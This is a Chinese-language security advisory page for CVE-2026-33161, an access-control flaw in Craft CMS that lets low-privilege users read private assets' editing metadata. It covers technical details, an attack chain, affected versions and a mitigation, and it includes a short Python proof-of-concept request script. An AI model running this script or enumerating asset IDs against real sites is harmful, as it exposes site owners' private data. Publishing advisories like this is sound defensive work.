IPBUF安全漏洞报告
English
CVE-2026-33161 CVSS 4.3 中危

CVE-2026-33161 Craft CMS 信息泄露漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33161
漏洞类型
信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Craft CMS

相关标签

信息泄露权限绕过Craft CMSIDORCVE-2026-33161

漏洞概述

Craft CMS 在特定版本中存在信息泄露漏洞。由于未对资源进行严格的授权验证,低权限的认证用户可以通过调用 `assets/image-editor` 端点并传入私有资源的ID,成功绕过访问限制。这使得攻击者能够获取本无权查看的私有资产的编辑元数据,包括焦点位置等敏感信息。该漏洞影响 4.x 和 5.x 多个版本。

技术细节

该漏洞的根源在于 Craft CMS 后端的权限校验逻辑存在缺陷。具体而言,`assets/image-editor` 端点在设计时假设了请求者拥有目标资源的访问权限,或者仅仅依赖会话认证而忽略了对特定对象ID的访问控制列表(ACL)检查。在受影响的版本中,系统接收请求后直接根据提供的 Asset ID 查询数据库并返回编辑元数据(如 focalPoint)。攻击者首先需要获取一个低权限的合法账户,然后通过网络向目标系统发送特制的 HTTP 请求。由于缺乏对象级别的授权验证,即使该账户无权查看该私有资产,服务器仍会响应包含敏感信息的 JSON 数据。这种 IDOR 漏洞允许攻击者通过遍历 ID 获取大量私有资源的元数据,虽然未直接导致文件下载,但泄露了资产的存在性及编辑参数,构成了隐私风险。

攻击链分析

STEP 1
1. 获取凭证
攻击者注册或获取一个低权限的 Craft CMS 账户。
STEP 2
2. 识别目标
攻击者猜测或枚举目标系统中私有资源的 Asset ID。
STEP 3
3. 发起请求
攻击者使用该账户向 `/assets/image-editor` 端点发送请求,参数中包含私有资源的 ID。
STEP 4
4. 获取数据
服务器由于未进行授权验证,返回了该私有资源的编辑元数据(如 focalPoint),导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "https://target-site.com/assets/image-editor" private_asset_id = "12345" # ID of a private asset the user cannot view session_cookie = {"CraftSessionId": "low_privilege_session_token"} # Exploit: Request image editor data for a private asset # The vulnerability lies in the lack of authorization check on the assetId payload = { "assetId": private_asset_id } try: response = requests.get(target_url, params=payload, cookies=session_cookie) if response.status_code == 200: print("[+] Vulnerability confirmed! Leaked data:") print(response.json()) else: print("[-] Request failed or patched.") except Exception as e: print(f"Error: {e}")

影响范围

Craft CMS >= 4.0.0-RC1, < 4.17.8
Craft CMS >= 5.0.0-RC1, < 5.9.14

防御指南

临时缓解措施
如果无法立即升级,建议通过 Web 应用防火墙(WAF)限制对 `/assets/image-editor` 接口的访问权限,或者实施严格的网络访问控制策略,仅允许受信任的 IP 地址访问该端点,并监控针对该接口的异常请求日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表